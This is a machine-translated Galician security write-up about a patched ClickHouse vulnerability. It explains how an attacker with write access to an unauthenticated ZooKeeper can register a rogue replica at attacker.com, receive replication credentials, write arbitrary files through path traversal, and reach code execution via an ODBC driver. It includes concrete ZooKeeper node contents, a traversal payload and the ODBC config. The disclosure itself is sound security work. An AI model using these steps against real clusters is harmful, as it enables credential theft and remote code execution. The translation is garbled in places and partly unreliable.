Este artigo contará a historia dunha vulnerabilidade moi específica no protocolo de replicación ClickHouse e tamén mostrará como se pode ampliar a superficie de ataque.
ClickHouse é unha base de datos para almacenar grandes volumes de datos, a maioría das veces usando máis dunha réplica. A agrupación e a replicación en ClickHouse están construídas na parte superior
A instalación de ZK predeterminada non require autenticación, polo que miles de servidores ZK utilizados para configurar Kafka, Hadoop e ClickHouse están dispoñibles publicamente.
Para reducir a súa superficie de ataque, sempre debe configurar a autenticación e autorización ao instalar ZooKeeper
Por suposto, hai algunhas deserializacións de Java baseadas en 0 días, pero imaxina que un atacante podería ler e escribir en ZooKeeper, usado para a replicación de ClickHouse.
Cando se configura no modo clúster, ClickHouse admite consultas distribuídas /clickhouse/task_queue/ddl
.
Por exemplo, crea un nodo /clickhouse/task_queue/ddl/query-0001
con contido:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
e despois diso, a táboa de proba eliminarase nos servidores de clúster host1 e host2. DDL tamén admite a execución de consultas CREATE/ALTER/DROP.
Soa asustado? Pero onde pode un atacante obter enderezos de servidor?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
crearanse nodos columnas и metadatos.
Contido /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
É posible combinar datos deste clúster? Si, se o porto de replicación (TCP/9009
) no servidor chXX-address
o firewall non se pechará e non se configurará a autenticación para a replicación. Como evitar a autenticación?
Un atacante pode crear unha nova réplica en ZK simplemente copiando o contido de /clickhouse/tables/01-01/foobar/replicas/chXX
e cambiando o significado host
.
Contido /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
A continuación, cómpre dicirlle ás outras réplicas que hai un novo bloque de datos no servidor do atacante que deben tomar: créase un nodo en ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX contador de crecemento monótono, que debería ser maior que o último do rexistro de eventos):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
onde réplica_fonte — o nome da réplica do atacante creada no paso anterior, block_id - identificador do bloque de datos, obter - comando "obter bloqueo" (e
A continuación, cada réplica le un novo evento no rexistro e diríxese a un servidor controlado polo atacante para recibir un bloque de datos (o protocolo de replicación é binario, funcionando enriba de HTTP). Servidor attacker.com
recibirá solicitudes:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
onde XXX son os datos de autenticación para a replicación. Nalgúns casos, esta pode ser unha conta con acceso á base de datos a través do protocolo ClickHouse principal e do protocolo HTTP. Como viches, a superficie de ataque faise moi grande porque ZooKeeper, usado para a replicación, quedou sen autenticación configurada.
Vexamos a función de obter un bloque de datos dunha réplica, está escrito con total confianza en que todas as réplicas están baixo o control axeitado e hai confianza entre elas.
código de procesamento de replicación
A función le unha lista de ficheiros, despois os seus nomes, tamaños, contidos e despois escríbeos no sistema de ficheiros. Paga a pena describir por separado como se almacenan os datos no sistema de ficheiros.
Hai varios subdirectorios en /var/lib/clickhouse
(directorio de almacenamento predeterminado do ficheiro de configuración):
bandeiras - directorio para gravar
tmp — directorio para almacenar ficheiros temporais;
ficheiros_usuario — as operacións con ficheiros en solicitudes están limitadas a este directorio (INTO OUTFILE e outros);
metadatos — ficheiros sql con descricións de táboas;
configuracións_preprocesadas - ficheiros de configuración derivados procesados de /etc/clickhouse-server
;
datos - o directorio real cos datos en si, neste caso para cada base de datos simplemente créase aquí un subdirectorio separado (por exemplo /var/lib/clickhouse/data/default
).
Para cada táboa, créase un subdirectorio no directorio da base de datos. Cada columna é un ficheiro separado dependendo de
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
A réplica espera recibir ficheiros co mesmo nome ao procesar un bloque de datos e non os valida de ningún xeito.
O lector atento probablemente xa escoitou falar da concatenación insegura de nome_ficheiro nunha función WriteBufferFromFile
. Si, isto permite que un atacante escriba contido arbitrario en calquera ficheiro do FS con dereitos de usuario clickhouse
. Para iso, a réplica controlada polo atacante debe devolver a seguinte resposta á solicitude (engadíronse saltos de liña para facilitar a súa comprensión):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
e despois da concatenación ../../../../../../../../../tmp/pwned
escribirase o ficheiro /tmp/pwned con contido ola de zookeeper.
Hai varias opcións para converter a capacidade de escritura de ficheiros en execución de código remota (RCE).
Dicionarios externos en RCE
Nas versións anteriores, o directorio coa configuración de ClickHouse almacenábase con dereitos de usuario clickhouse por defecto. Os ficheiros de configuración son ficheiros XML que o servizo le ao iniciarse e logo almacena na caché /var/lib/clickhouse/preprocessed_configs
. Cando se producen cambios, volven ler. Se tes acceso a /etc/clickhouse-server
un atacante pode crear o seu root
.
ODBC para RCE
Ao instalar un paquete, créase un usuario clickhouse
, pero o seu directorio de inicio non está creado /nonexistent
. Non obstante, cando usan dicionarios externos, ou por outros motivos, os administradores crean un directorio /nonexistent
e darlle ao usuario clickhouse
acceso para escribir nel (SSZB! aprox. tradutor).
Soporta ClickHouse odbc-bridge
, polo que xa non é posible especificar a ruta do controlador desde a solicitude. Pero pode un atacante escribir no directorio de inicio usando a vulnerabilidade descrita anteriormente?
Imos crear un ficheiro ~/.odbc.ini
con contido coma este:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
despois no inicio SELECT * FROM odbc('DSN=lalala', 'test', 'test');
cargarase a biblioteca test.so
e recibiu RCE (grazas
Estas e outras vulnerabilidades foron corrixidas na versión 19.14.3 de ClickHouse. Coida do teu ClickHouse e ZooKeepers!
Fonte: www.habr.com